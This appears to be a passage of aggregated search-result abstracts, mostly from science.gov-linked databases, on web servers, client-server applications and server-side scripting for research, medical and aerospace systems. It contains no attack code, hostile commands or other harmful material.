... active region of a server-side image map. (f) Client-side image maps shall be provided instead of server-side image maps except where the regions cannot be defined with an available geometric shape. (g) Row...) Frames shall be titled with text that facilitates frame identification and navigation. (j) Pages shall be...

36 CFR § 1194.22 - Web-based intranet and internet information and applications.

Code of Federal Regulations, 2013 CFR

2013-07-01

... active region of a server-side image map. (f) Client-side image maps shall be provided instead of server-side image maps except where the regions cannot be defined with an available geometric shape. (g) Row...) Frames shall be titled with text that facilitates frame identification and navigation. (j) Pages shall be...

Accounting Data to Web Interface Using PERL

DOE Office of Scientific and Technical Information (OSTI.GOV)

Hargeaves, C

2001-08-13

This document will explain the process to create a web interface for the accounting information generated by the High Performance Storage Systems (HPSS) accounting report feature. The accounting report contains useful data but it is not easily accessed in a meaningful way. The accounting report is the only way to see summarized storage usage information. The first step is to take the accounting data, make it meaningful and store the modified data in persistent databases. The second step is to generate the various user interfaces, HTML pages, that will be used to access the data. The third step is tomore » transfer all required files to the web server. The web pages pass parameters to Common Gateway Interface (CGI) scripts that generate dynamic web pages and graphs. The end result is a web page with specific information presented in text with or without graphs. The accounting report has a specific format that allows the use of regular expressions to verify if a line is storage data. Each storage data line is stored in a detailed database file with a name that includes the run date. The detailed database is used to create a summarized database file that also uses run date in its name. The summarized database is used to create the group.html web page that includes a list of all storage users. Scripts that query the database folder to build a list of available databases generate two additional web pages. A master script that is run monthly as part of a cron job, after the accounting report has completed, manages all of these individual scripts. All scripts are written in the PERL programming language. Whenever possible data manipulation scripts are written as filters. All scripts are written to be single source, which means they will function properly on both the open and closed networks at LLNL. The master script handles the command line inputs for all scripts, file transfers to the web server and records run information in a log file. The rest of the scripts manipulate the accounting data or use the files created to generate HTML pages. Each script will be described in detail herein. The following is a brief description of HPSS taken directly from an HPSS web site. ''HPSS is a major development project, which began in 1993 as a Cooperative Research and Development Agreement (CRADA) between government and industry. The primary objective of HPSS is to move very large data objects between high performance computers, workstation clusters, and storage libraries at speeds many times faster than is possible with today's software systems. For example, HPSS can manage parallel data transfers from multiple network-connected disk arrays at rates greater than 1 Gbyte per second, making it possible to access high definition digitized video in real time.'' The HPSS accounting report is a canned report whose format is controlled by the HPSS developers.« less

New Technology. New Opportunities for Partnering, CAUSE94. Track V.

ERIC Educational Resources Information Center

CAUSE, Boulder, CO.

Eight papers are presented from the 1994 CAUSE conference track on new information technology and its uses in higher education institutions. The papers include: (1) "New Tools for Multimedia Development: ScriptX" (Edwin J. Pinheiro); (2) "Providing a Campus-Wide Software Server, or How to Be All Things to All People!," focusing…

Internet Wargaming with Distributed Processing Using the Client-Server Model

DTIC Science & Technology

1997-03-01

in for war game development . There are tool kits for writing binary files that are interpreted by a particular plug-in. The most popular plug-in set...multi-player game development , the speed with which the environment is changing should be taken into 35 account. For this project JavaScript was chosen

"Just Another Tool for Online Studies” (JATOS): An Easy Solution for Setup and Management of Web Servers Supporting Online Studies

PubMed Central

Lange, Kristian; Kühn, Simone; Filevich, Elisa

2015-01-01

We present here “Just Another Tool for Online Studies” (JATOS): an open source, cross-platform web application with a graphical user interface (GUI) that greatly simplifies setting up and communicating with a web server to host online studies that are written in JavaScript. JATOS is easy to install in all three major platforms (Microsoft Windows, Mac OS X, and Linux), and seamlessly pairs with a database for secure data storage. It can be installed on a server or locally, allowing researchers to try the application and feasibility of their studies within a browser environment, before engaging in setting up a server. All communication with the JATOS server takes place via a GUI (with no need to use a command line interface), making JATOS an especially accessible tool for researchers without a strong IT background. We describe JATOS’ main features and implementation and provide a detailed tutorial along with example studies to help interested researchers to set up their online studies. JATOS can be found under the Internet address: www.jatos.org. PMID:26114751

KAGLVis - On-line 3D Visualisation of Earth-observing-satellite Data

NASA Astrophysics Data System (ADS)

Szuba, Marek; Ameri, Parinaz; Grabowski, Udo; Maatouki, Ahmad; Meyer, Jörg

2015-04-01

One of the goals of the Large-Scale Data Management and Analysis project is to provide a high-performance framework facilitating management of data acquired by Earth-observing satellites such as Envisat. On the client-facing facet of this framework, we strive to provide visualisation and basic analysis tool which could be used by scientists with minimal to no knowledge of the underlying infrastructure. Our tool, KAGLVis, is a JavaScript client-server Web application which leverages modern Web technologies to provide three-dimensional visualisation of satellite observables on a wide range of client systems. It takes advantage of the WebGL API to employ locally available GPU power for 3D rendering; this approach has been demonstrated to perform well even on relatively weak hardware such as integrated graphics chipsets found in modern laptop computers and with some user-interface tuning could even be usable on embedded devices such as smartphones or tablets. Data is fetched from the database back-end using a ReST API and cached locally, both in memory and using HTML5 Web Storage, to minimise network use. Computations, calculation of cloud altitude from cloud-index measurements for instance, can depending on configuration be performed on either the client or the server side. Keywords: satellite data, Envisat, visualisation, 3D graphics, Web application, WebGL, MEAN stack.

The new ALICE DQM client: a web access to ROOT-based objects

NASA Astrophysics Data System (ADS)

von Haller, B.; Carena, F.; Carena, W.; Chapeland, S.; Chibante Barroso, V.; Costa, F.; Delort, C.; Dénes, E.; Diviá, R.; Fuchs, U.; Niedziela, J.; Simonetti, G.; Soós, C.; Telesca, A.; Vande Vyvre, P.; Wegrzynek, A.

2015-12-01

A Large Ion Collider Experiment (ALICE) is the heavy-ion detector designed to study the physics of strongly interacting matter and the quark-gluon plasma at the CERN Large Hadron Collider (LHC). The online Data Quality Monitoring (DQM) plays an essential role in the experiment operation by providing shifters with immediate feedback on the data being recorded in order to quickly identify and overcome problems. An immediate access to the DQM results is needed not only by shifters in the control room but also by detector experts worldwide. As a consequence, a new web application has been developed to dynamically display and manipulate the ROOT-based objects produced by the DQM system in a flexible and user friendly interface. The architecture and design of the tool, its main features and the technologies that were used, both on the server and the client side, are described. In particular, we detail how we took advantage of the most recent ROOT JavaScript I/O and web server library to give interactive access to ROOT objects stored in a database. We describe as well the use of modern web techniques and packages such as AJAX, DHTMLX and jQuery, which has been instrumental in the successful implementation of a reactive and efficient application. We finally present the resulting application and how code quality was ensured. We conclude with a roadmap for future technical and functional developments.

Partitioned key-value store with atomic memory operations

DOE Office of Scientific and Technical Information (OSTI.GOV)

Bent, John M.; Faibish, Sorin; Grider, Gary

A partitioned key-value store is provided that supports atomic memory operations. A server performs a memory operation in a partitioned key-value store by receiving a request from an application for at least one atomic memory operation, the atomic memory operation comprising a memory address identifier; and, in response to the atomic memory operation, performing one or more of (i) reading a client-side memory location identified by the memory address identifier and storing one or more key-value pairs from the client-side memory location in a local key-value store of the server; and (ii) obtaining one or more key-value pairs from themore » local key-value store of the server and writing the obtained one or more key-value pairs into the client-side memory location identified by the memory address identifier. The server can perform functions obtained from a client-side memory location and return a result to the client using one or more of the atomic memory operations.« less

Next Generation Flight Displays Using HTML5

NASA Technical Reports Server (NTRS)

Greenwood, Brian

2016-01-01

The Human Integrated Vehicles and Environments (HIVE) lab at Johnson Space Center (JSC) is focused on bringing together inter-disciplinary talent to design and integrate innovative human interface technologies for next generation manned spacecraft. As part of this objective, my summer internship project centered on an ongoing investigation in to building flight displays using the HTML5 standard. Specifically, the goals of my project were to build and demo "flight-like" crew and wearable displays as well as create a webserver for live systems being developed by the Advanced Exploration Systems (AES) program. In parallel to my project, a LabVIEW application, called a display server, was created by the HIVE that uses an XTCE (XML (Extensible Markup Language) Telemetry and Command Exchange) parser and CCSDS (Consultative Committee for Space Data System) space packet decoder to translate telemetry items sent by the CFS (Core Flight Software) over User Datagram Protocol (UDP). It was the webserver's job to receive these UDP messages and send them to the displays. To accomplish this functionality, I utilized Node.js and the accompanying Express framework. On the display side, I was responsible for creating the power system (AMPS) displays. I did this by using HTML5, CSS and JavaScript to create web pages that could update and change dynamically based on the data they received from the webserver. At this point, I have not started on the commanding, being able to send back to the CFS, portion of the displays but hope to have this functionality working by the completion of my internship. I also created a way to test the webserver's functionality without the display server by making a JavaScript application that read in a comma-separate values (CSV) file and converted it to XML which was then sent over UDP. One of the major requirements of my project was to build everything using as little preexisting code as possible, which I accomplished by only using a handful of JavaScript libraries. As a side project, I created a model of the HIVE lab and Building 29 using SketchUp. I obtained the floorplans of the building from the JSC Geographic Information Systems (GIS), which were computer-aided design (CAD) files, and imported them into SketchUp. I then took those floorplans and created a 3D model of the building from them. Working in conjunction with the Hybrid Reality lab in Building 32, the SketchUp model was imported into Unreal Engine for use with the HTC Vive. Using the Vive, I was able to interact with the model I created in virtual reality (VR). The purpose of this side project was to be able to visualize potential lab layouts and mockup designs as they are in development in order to finalize design decisions. Pending approval, the model that I created will be used in the Build-As-You-Test: Can Hybrid Reality Improve the SE/HSI Design Process project in the fall. Getting the opportunity to work at NASA has been one of the most memorable experiences of my life. Over the course of my internship, I improved my programming and web development abilities substantially. I will take all the skills and experiences I have had while at NASA back to school with me in the fall and hope to pursue a career in the aerospace industry after graduating in the spring.

SCit: web tools for protein side chain conformation analysis.

PubMed

Gautier, R; Camproux, A-C; Tufféry, P

2004-07-01

SCit is a web server providing services for protein side chain conformation analysis and side chain positioning. Specific services use the dependence of the side chain conformations on the local backbone conformation, which is described using a structural alphabet that describes the conformation of fragments of four-residue length in a limited library of structural prototypes. Based on this concept, SCit uses sets of rotameric conformations dependent on the local backbone conformation of each protein for side chain positioning and the identification of side chains with unlikely conformations. The SCit web server is accessible at http://bioserv.rpbs.jussieu.fr/SCit.

ASPEN--A Web-Based Application for Managing Student Server Accounts

ERIC Educational Resources Information Center

Sandvig, J. Christopher

2004-01-01

The growth of the Internet has greatly increased the demand for server-side programming courses at colleges and universities. Students enrolled in such courses must be provided with server-based accounts that support the technologies that they are learning. The process of creating, managing and removing large numbers of student server accounts is…

Menu-driven cloud computing and resource sharing for R and Bioconductor.

PubMed

Bolouri, Hamid; Dulepet, Rajiv; Angerman, Michael

2011-08-15

We report CRdata.org, a cloud-based, free, open-source web server for running analyses and sharing data and R scripts with others. In addition to using the free, public service, CRdata users can launch their own private Amazon Elastic Computing Cloud (EC2) nodes and store private data and scripts on Amazon's Simple Storage Service (S3) with user-controlled access rights. All CRdata services are provided via point-and-click menus. CRdata is open-source and free under the permissive MIT License (opensource.org/licenses/mit-license.php). The source code is in Ruby (ruby-lang.org/en/) and available at: github.com/seerdata/crdata. hbolouri@fhcrc.org.

FastScript3D - A Companion to Java 3D

NASA Technical Reports Server (NTRS)

Koenig, Patti

2005-01-01

FastScript3D is a computer program, written in the Java 3D(TM) programming language, that establishes an alternative language that helps users who lack expertise in Java 3D to use Java 3D for constructing three-dimensional (3D)-appearing graphics. The FastScript3D language provides a set of simple, intuitive, one-line text-string commands for creating, controlling, and animating 3D models. The first word in a string is the name of a command; the rest of the string contains the data arguments for the command. The commands can also be used as an aid to learning Java 3D. Developers can extend the language by adding custom text-string commands. The commands can define new 3D objects or load representations of 3D objects from files in formats compatible with such other software systems as X3D. The text strings can be easily integrated into other languages. FastScript3D facilitates communication between scripting languages [which enable programming of hyper-text markup language (HTML) documents to interact with users] and Java 3D. The FastScript3D language can be extended and customized on both the scripting side and the Java 3D side.

Prokaryotic Contig Annotation Pipeline Server: Web Application for a Prokaryotic Genome Annotation Pipeline Based on the Shiny App Package.

PubMed

Park, Byeonghyeok; Baek, Min-Jeong; Min, Byoungnam; Choi, In-Geol

2017-09-01

Genome annotation is a primary step in genomic research. To establish a light and portable prokaryotic genome annotation pipeline for use in individual laboratories, we developed a Shiny app package designated as "P-CAPS" (Prokaryotic Contig Annotation Pipeline Server). The package is composed of R and Python scripts that integrate publicly available annotation programs into a server application. P-CAPS is not only a browser-based interactive application but also a distributable Shiny app package that can be installed on any personal computer. The final annotation is provided in various standard formats and is summarized in an R markdown document. Annotation can be visualized and examined with a public genome browser. A benchmark test showed that the annotation quality and completeness of P-CAPS were reliable and compatible with those of currently available public pipelines.

Modular Mount Control System for Telescopes

NASA Astrophysics Data System (ADS)

Mooney, J.; Cleis, R.; Kyono, T.; Edwards, M.

The Space Observatory Control Kit (SpOCK) is the hardware, computers and software used to run small and large telescopes in the RDS division of the Air Force Research Laboratories (AFRL). The system is used to track earth satellites, celestial objects, terrestrial objects and aerial objects. The system will track general targets when provided with state vectors in one of five coordinate systems. Client-toserver and server-to-gimbals communication occurs via human-readable s-expressions that may be evaluated by the computer language called Racket. Software verification is achieved by scripts that exercise these expressions by sending them to the server, and receiving the expressions that the server evaluates. This paper describes the adaptation of a modular mount control system developed primarily for LEO satellite imaging on large and small portable AFRL telescopes with a goal of orbit determination and the generation of satellite metrics.

Murmer, a message generator and reporter for Unix, VMS, and VxWorks

NASA Astrophysics Data System (ADS)

Oleynik, G.; Appleton, B.; Moore, C.; Sergey, G.; Udumula, L.

1994-02-01

Murmer is a Unix based message generation, reporting, display, and logging system that we have developed for use in data acquisition systems at Fermilab. Murmer is a tool for the production and management of message reporting. Its usefulness ranges from software product development and maintenance to system level shakedown and diagnostics. Murmer provides a VMS MESSAGE-like function code generation utility, a client routine package for sending these codes over the network to a central server, and a server which translates the codes into meaningful visual information, writes the information to a logfile, and display it on B&W or color X windows. Because Murmer stores message information in keyed access files, it can provide advanced features such as popping up help when a displayed message is clicked on by the mouse and executing 'action' shell scripts when selected messages are received by the server.

The design and implementation of web mining in web sites security

NASA Astrophysics Data System (ADS)

Li, Jian; Zhang, Guo-Yin; Gu, Guo-Chang; Li, Jian-Li

2003-06-01

The backdoor or information leak of Web servers can be detected by using Web Mining techniques on some abnormal Web log and Web application log data. The security of Web servers can be enhanced and the damage of illegal access can be avoided. Firstly, the system for discovering the patterns of information leakages in CGI scripts from Web log data was proposed. Secondly, those patterns for system administrators to modify their codes and enhance their Web site security were provided. The following aspects were described: one is to combine web application log with web log to extract more information, so web data mining could be used to mine web log for discovering the information that firewall and Information Detection System cannot find. Another approach is to propose an operation module of web site to enhance Web site security. In cluster server session, Density-Based Clustering technique is used to reduce resource cost and obtain better efficiency.

Implementing a Dynamic Database-Driven Course Using LAMP

ERIC Educational Resources Information Center

Laverty, Joseph Packy; Wood, David; Turchek, John

2011-01-01

This paper documents the formulation of a database driven open source architecture web development course. The design of a web-based curriculum faces many challenges: a) relative emphasis of client and server-side technologies, b) choice of a server-side language, and c) the cost and efficient delivery of a dynamic web development, database-driven…

SCit: web tools for protein side chain conformation analysis

PubMed Central

Gautier, R.; Camproux, A.-C.; Tufféry, P.

2004-01-01

SCit is a web server providing services for protein side chain conformation analysis and side chain positioning. Specific services use the dependence of the side chain conformations on the local backbone conformation, which is described using a structural alphabet that describes the conformation of fragments of four-residue length in a limited library of structural prototypes. Based on this concept, SCit uses sets of rotameric conformations dependent on the local backbone conformation of each protein for side chain positioning and the identification of side chains with unlikely conformations. The SCit web server is accessible at http://bioserv.rpbs.jussieu.fr/SCit. PMID:15215438

Addressing Software Security

NASA Technical Reports Server (NTRS)

Bailey, Brandon

2015-01-01

Historically security within organizations was thought of as an IT function (web sites/servers, email, workstation patching, etc.) Threat landscape has evolved (Script Kiddies, Hackers, Advanced Persistent Threat (APT), Nation States, etc.) Attack surface has expanded -Networks interconnected!! Some security posture factors Network Layer (Routers, Firewalls, etc.) Computer Network Defense (IPS/IDS, Sensors, Continuous Monitoring, etc.) Industrial Control Systems (ICS) Software Security (COTS, FOSS, Custom, etc.)

Cal OES Internet Home Cal OES Home

Science.gov Websites

Sign In You may be trying to access this site from a secured browser on the server. Please enable scripts and reload this page. Turn on more accessible mode Turn off more accessible mode Skip Ribbon Commands Skip to main content Turn off Animations Turn on Animations image of CA.gov logo image of Cal OES

SurveyWiz and factorWiz: JavaScript Web pages that make HTML forms for research on the Internet.

PubMed

Birnbaum, M H

2000-05-01

SurveyWiz and factorWiz are Web pages that act as wizards to create HTML forms that enable one to collect data via the Web. SurveyWiz allows the user to enter survey questions or personality test items with a mixture of text boxes and scales of radio buttons. One can add demographic questions of age, sex, education, and nationality with the push of a button. FactorWiz creates the HTML for within-subjects, two-factor designs as large as 9 x 9, or higher order factorial designs up to 81 cells. The user enters levels of the row and column factors, which can be text, images, or other multimedia. FactorWiz generates the stimulus combinations, randomizes their order, and creates the page. In both programs HTML is displayed in a window, and the user copies it to a text editor to save it. When uploaded to a Web server and supported by a CGI script, the created Web pages allow data to be collected, coded, and saved on the server. These programs are intended to assist researchers and students in quickly creating studies that can be administered via the Web.

Wireless access to a pharmaceutical database: a demonstrator for data driven Wireless Application Protocol (WAP) applications in medical information processing.

PubMed

Schacht Hansen, M; Dørup, J

2001-01-01

The Wireless Application Protocol technology implemented in newer mobile phones has built-in facilities for handling much of the information processing needed in clinical work. To test a practical approach we ported a relational database of the Danish pharmaceutical catalogue to Wireless Application Protocol using open source freeware at all steps. We used Apache 1.3 web software on a Linux server. Data containing the Danish pharmaceutical catalogue were imported from an ASCII file into a MySQL 3.22.32 database using a Practical Extraction and Report Language script for easy update of the database. Data were distributed in 35 interrelated tables. Each pharmaceutical brand name was given its own card with links to general information about the drug, active substances, contraindications etc. Access was available through 1) browsing therapeutic groups and 2) searching for a brand name. The database interface was programmed in the server-side scripting language PHP3. A free, open source Wireless Application Protocol gateway to a pharmaceutical catalogue was established to allow dial-in access independent of commercial Wireless Application Protocol service providers. The application was tested on the Nokia 7110 and Ericsson R320s cellular phones. We have demonstrated that Wireless Application Protocol-based access to a dynamic clinical database can be established using open source freeware. The project opens perspectives for a further integration of Wireless Application Protocol phone functions in clinical information processing: Global System for Mobile communication telephony for bilateral communication, asynchronous unilateral communication via e-mail and Short Message Service, built-in calculator, calendar, personal organizer, phone number catalogue and Dictaphone function via answering machine technology. An independent Wireless Application Protocol gateway may be placed within hospital firewalls, which may be an advantage with respect to security. However, if Wireless Application Protocol phones are to become effective tools for physicians, special attention must be paid to the limitations of the devices. Input tools of Wireless Application Protocol phones should be improved, for instance by increased use of speech control.

Wireless access to a pharmaceutical database: A demonstrator for data driven Wireless Application Protocol applications in medical information processing

PubMed Central

Hansen, Michael Schacht

2001-01-01

Background The Wireless Application Protocol technology implemented in newer mobile phones has built-in facilities for handling much of the information processing needed in clinical work. Objectives To test a practical approach we ported a relational database of the Danish pharmaceutical catalogue to Wireless Application Protocol using open source freeware at all steps. Methods We used Apache 1.3 web software on a Linux server. Data containing the Danish pharmaceutical catalogue were imported from an ASCII file into a MySQL 3.22.32 database using a Practical Extraction and Report Language script for easy update of the database. Data were distributed in 35 interrelated tables. Each pharmaceutical brand name was given its own card with links to general information about the drug, active substances, contraindications etc. Access was available through 1) browsing therapeutic groups and 2) searching for a brand name. The database interface was programmed in the server-side scripting language PHP3. Results A free, open source Wireless Application Protocol gateway to a pharmaceutical catalogue was established to allow dial-in access independent of commercial Wireless Application Protocol service providers. The application was tested on the Nokia 7110 and Ericsson R320s cellular phones. Conclusions We have demonstrated that Wireless Application Protocol-based access to a dynamic clinical database can be established using open source freeware. The project opens perspectives for a further integration of Wireless Application Protocol phone functions in clinical information processing: Global System for Mobile communication telephony for bilateral communication, asynchronous unilateral communication via e-mail and Short Message Service, built-in calculator, calendar, personal organizer, phone number catalogue and Dictaphone function via answering machine technology. An independent Wireless Application Protocol gateway may be placed within hospital firewalls, which may be an advantage with respect to security. However, if Wireless Application Protocol phones are to become effective tools for physicians, special attention must be paid to the limitations of the devices. Input tools of Wireless Application Protocol phones should be improved, for instance by increased use of speech control. PMID:11720946

Advancing the Power and Utility of Server-Side Aggregation

NASA Technical Reports Server (NTRS)

Fulker, Dave; Gallagher, James

2016-01-01

During the upcoming Summer 2016 meeting of the ESIP Federation (July 19-22), OpenDAP will hold a Developers and Users Workshop. While a broad set of topics will be covered, a key focus is capitalizing on recent EOSDIS-sponsored advances in Hyrax, OPeNDAPs own software for server-side realization of the DAP2 and DAP4 protocols. These Hyrax advances are as important to data users as to data providers, and the workshop will include hands-on experiences of value to both. Specifically, a balanced set of presentations and hands-on tutorials will address advances in1.server installation,2.server configuration,3.Hyrax aggregation capabilities,4.support for data-access from clients that are HTTP-based, JSON-based or OGC-compliant (especially WCS and WMS),5.support for DAP4,6.use and extension of server-side computational capabilities, and7.several performance-affecting matters.Topics 2 through 7 will be relevant to data consumers, data providers andnotably, due to the open-source nature of all OPeNDAP softwareto developers wishing to extend Hyrax, to build compatible clients and servers, andor to employ Hyrax as middleware that enables interoperability across a variety of end-user and source-data contexts. A session for contributed talks will elaborate the topics listed above and embrace additional ones.

BIRD: Bio-Image Referral Database. Design and implementation of a new web based and patient multimedia data focused system for effective medical diagnosis and therapy.

PubMed

Pinciroli, Francesco; Masseroli, Marco; Acerbo, Livio A; Bonacina, Stefano; Ferrari, Roberto; Marchente, Mario

2004-01-01

This paper presents a low cost software platform prototype supporting health care personnel in retrieving patient referral multimedia data. These information are centralized in a server machine and structured by using a flexible eXtensible Markup Language (XML) Bio-Image Referral Database (BIRD). Data are distributed on demand to requesting client in an Intranet network and transformed via eXtensible Stylesheet Language (XSL) to be visualized in an uniform way on market browsers. The core server operation software has been developed in PHP Hypertext Preprocessor scripting language, which is very versatile and useful for crafting a dynamic Web environment.

Development of a web database portfolio system with PACS connectivity for undergraduate health education and continuing professional development.

PubMed

Ng, Curtise K C; White, Peter; McKay, Janice C

2009-04-01

Increasingly, the use of web database portfolio systems is noted in medical and health education, and for continuing professional development (CPD). However, the functions of existing systems are not always aligned with the corresponding pedagogy and hence reflection is often lost. This paper presents the development of a tailored web database portfolio system with Picture Archiving and Communication System (PACS) connectivity, which is based on the portfolio pedagogy. Following a pre-determined portfolio framework, a system model with the components of web, database and mail servers, server side scripts, and a Query/Retrieve (Q/R) broker for conversion between Hypertext Transfer Protocol (HTTP) requests and Q/R service class of Digital Imaging and Communication in Medicine (DICOM) standard, is proposed. The system was piloted with seventy-seven volunteers. A tailored web database portfolio system (http://radep.hti.polyu.edu.hk) was developed. Technological arrangements for reinforcing portfolio pedagogy include popup windows (reminders) with guidelines and probing questions of 'collect', 'select' and 'reflect' on evidence of development/experience, limitation in the number of files (evidence) to be uploaded, the 'Evidence Insertion' functionality to link the individual uploaded artifacts with reflective writing, capability to accommodate diversity of contents and convenient interfaces for reviewing portfolios and communication. Evidence to date suggests the system supports users to build their portfolios with sound hypertext reflection under a facilitator's guidance, and with reviewers to monitor students' progress providing feedback and comments online in a programme-wide situation.

Internet Distribution of Spacecraft Telemetry Data

NASA Technical Reports Server (NTRS)

Specht, Ted; Noble, David

2006-01-01

Remote Access Multi-mission Processing and Analysis Ground Environment (RAMPAGE) is a Java-language server computer program that enables near-real-time display of spacecraft telemetry data on any authorized client computer that has access to the Internet and is equipped with Web-browser software. In addition to providing a variety of displays of the latest available telemetry data, RAMPAGE can deliver notification of an alarm by electronic mail. Subscribers can then use RAMPAGE displays to determine the state of the spacecraft and formulate a response to the alarm, if necessary. A user can query spacecraft mission data in either binary or comma-separated-value format by use of a Web form or a Practical Extraction and Reporting Language (PERL) script to automate the query process. RAMPAGE runs on Linux and Solaris server computers in the Ground Data System (GDS) of NASA's Jet Propulsion Laboratory and includes components designed specifically to make it compatible with legacy GDS software. The client/server architecture of RAMPAGE and the use of the Java programming language make it possible to utilize a variety of competitive server and client computers, thereby also helping to minimize costs.

The new protein topology graph library web server.

PubMed

Schäfer, Tim; Scheck, Andreas; Bruneß, Daniel; May, Patrick; Koch, Ina

2016-02-01

We present a new, extended version of the Protein Topology Graph Library web server. The Protein Topology Graph Library describes the protein topology on the super-secondary structure level. It allows to compute and visualize protein ligand graphs and search for protein structural motifs. The new server features additional information on ligand binding to secondary structure elements, increased usability and an application programming interface (API) to retrieve data, allowing for an automated analysis of protein topology. The Protein Topology Graph Library server is freely available on the web at http://ptgl.uni-frankfurt.de. The website is implemented in PHP, JavaScript, PostgreSQL and Apache. It is supported by all major browsers. The VPLG software that was used to compute the protein ligand graphs and all other data in the database is available under the GNU public license 2.0 from http://vplg.sourceforge.net. tim.schaefer@bioinformatik.uni-frankfurt.de; ina.koch@bioinformatik.uni-frankfurt.de Supplementary data are available at Bioinformatics online. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Hybrid Rendering with Scheduling under Uncertainty

PubMed Central

Tamm, Georg; Krüger, Jens

2014-01-01

As scientific data of increasing size is generated by today’s simulations and measurements, utilizing dedicated server resources to process the visualization pipeline becomes necessary. In a purely server-based approach, requirements on the client-side are minimal as the client only displays results received from the server. However, the client may have a considerable amount of hardware available, which is left idle. Further, the visualization is put at the whim of possibly unreliable server and network conditions. Server load, bandwidth and latency may substantially affect the response time on the client. In this paper, we describe a hybrid method, where visualization workload is assigned to server and client. A capable client can produce images independently. The goal is to determine a workload schedule that enables a synergy between the two sides to provide rendering results to the user as fast as possible. The schedule is determined based on processing and transfer timings obtained at runtime. Our probabilistic scheduler adapts to changing conditions by shifting workload between server and client, and accounts for the performance variability in the dynamic system. PMID:25309115

Remotely accessible laboratory for MEMS testing

NASA Astrophysics Data System (ADS)

Sivakumar, Ganapathy; Mulsow, Matthew; Melinger, Aaron; Lacouture, Shelby; Dallas, Tim E.

2010-02-01

We report on the construction of a remotely accessible and interactive laboratory for testing microdevices (aka: MicroElectroMechancial Systems - MEMS). Enabling expanded utilization of microdevices for research, commercial, and educational purposes is very important for driving the creation of future MEMS devices and applications. Unfortunately, the relatively high costs associated with MEMS devices and testing infrastructure makes widespread access to the world of MEMS difficult. The creation of a virtual lab to control and actuate MEMS devices over the internet helps spread knowledge to a larger audience. A host laboratory has been established that contains a digital microscope, microdevices, controllers, and computers that can be logged into through the internet. The overall layout of the tele-operated MEMS laboratory system can be divided into two major parts: the server side and the client side. The server-side is present at Texas Tech University, and hosts a server machine that runs the Linux operating system and is used for interfacing the MEMS lab with the outside world via internet. The controls from the clients are transferred to the lab side through the server interface. The server interacts with the electronics required to drive the MEMS devices using a range of National Instruments hardware and LabView Virtual Instruments. An optical microscope (100 ×) with a CCD video camera is used to capture images of the operating MEMS. The server broadcasts the live video stream over the internet to the clients through the website. When the button is pressed on the website, the MEMS device responds and the video stream shows the movement in close to real time.

Probiotics: Safety and Side Effects

MedlinePlus

... of this page please turn JavaScript on. Feature: Probiotics Safety and Side Effects Past Issues / Winter 2016 ... Says About the Safety and Side Effects of Probiotics Whether probiotics are likely to be safe for ...

Asynchronous data change notification between database server and accelerator controls system

DOE Office of Scientific and Technical Information (OSTI.GOV)

Fu, W.; Morris, J.; Nemesure, S.

2011-10-10

Database data change notification (DCN) is a commonly used feature. Not all database management systems (DBMS) provide an explicit DCN mechanism. Even for those DBMS's which support DCN (such as Oracle and MS SQL server), some server side and/or client side programming may be required to make the DCN system work. This makes the setup of DCN between database server and interested clients tedious and time consuming. In accelerator control systems, there are many well established software client/server architectures (such as CDEV, EPICS, and ADO) that can be used to implement data reflection servers that transfer data asynchronously to anymore » client using the standard SET/GET API. This paper describes a method for using such a data reflection server to set up asynchronous DCN (ADCN) between a DBMS and clients. This method works well for all DBMS systems which provide database trigger functionality. Asynchronous data change notification (ADCN) between database server and clients can be realized by combining the use of a database trigger mechanism, which is supported by major DBMS systems, with server processes that use client/server software architectures that are familiar in the accelerator controls community (such as EPICS, CDEV or ADO). This approach makes the ADCN system easy to set up and integrate into an accelerator controls system. Several ADCN systems have been set up and used in the RHIC-AGS controls system.« less

ReSTful OSGi Web Applications Tutorial

NASA Technical Reports Server (NTRS)

Shams, Khawaja; Norris, Jeff

2008-01-01

This slide presentation accompanies a tutorial on the ReSTful (Representational State Transfer) web application. Using Open Services Gateway Initiative (OSGi), ReST uses HTTP protocol to enable developers to offer services to a diverse variety of clients: from shell scripts to sophisticated Java application suites. It also uses Eclipse for the rapid development, the Eclipse debugger, the test application, and the ease of export to production servers.

The Best of all Possible Worlds: Applying the Model Driven Architecture Approach to a JC3IEDM OWL Ontology Modeled in UML

DTIC Science & Technology

2014-04-25

EA’s Java application programming interface (API), the team built a tool called OWL2EA that can ingest an OWL file and generate the corresponding UML...ObjectItemStructure specification shown in Figure 10. Running this script in the relational database server MySQL creates the physical schema that

Menu-driven cloud computing and resource sharing for R and Bioconductor

PubMed Central

Bolouri, Hamid; Angerman, Michael

2011-01-01

Summary: We report CRdata.org, a cloud-based, free, open-source web server for running analyses and sharing data and R scripts with others. In addition to using the free, public service, CRdata users can launch their own private Amazon Elastic Computing Cloud (EC2) nodes and store private data and scripts on Amazon's Simple Storage Service (S3) with user-controlled access rights. All CRdata services are provided via point-and-click menus. Availability and Implementation: CRdata is open-source and free under the permissive MIT License (opensource.org/licenses/mit-license.php). The source code is in Ruby (ruby-lang.org/en/) and available at: github.com/seerdata/crdata. Contact: hbolouri@fhcrc.org PMID:21685055

Image

DOE Office of Scientific and Technical Information (OSTI.GOV)

Marsh, Amber; Harsch, Tim; Pitt, Julie

2007-08-31

The computer side of the IMAGE project consists of a collection of Perl scripts that perform a variety of tasks; scripts are available to insert, update and delete data from the underlying Oracle database, download data from NCBI's Genbank and other sources, and generate data files for download by interested parties. Web scripts make up the tracking interface, and various tools available on the project web-site (image.llnl.gov) that provide a search interface to the database.

Multimedia data repository for the World Wide Web

NASA Astrophysics Data System (ADS)

Chen, Ken; Lu, Dajin; Xu, Duanyi

1998-08-01

This paper introduces the design and implementation of a Multimedia Data Repository served as a multimedia information system, which provides users a Web accessible, platform independent interface to query, browse, and retrieve multimedia data such as images, graphics, audio, video from a large multimedia data repository. By integrating the multimedia DBMS, in which the textual information and samples of the multimedia data is organized and stored, and Web server together into the Microsoft ActiveX Server Framework, users can access the DBMS and query the information by simply using a Web browser at the client-side. The original multimedia data can then be located and transmitted through the Internet from the tertiary storage device, a 400 CDROM optical jukebox at the server-side, to the client-side for further use.

Brandenburg 3D - a comprehensive 3D Subsurface Model, Conception of an Infrastructure Node and a Web Application

NASA Astrophysics Data System (ADS)

Kerschke, Dorit; Schilling, Maik; Simon, Andreas; Wächter, Joachim

2014-05-01

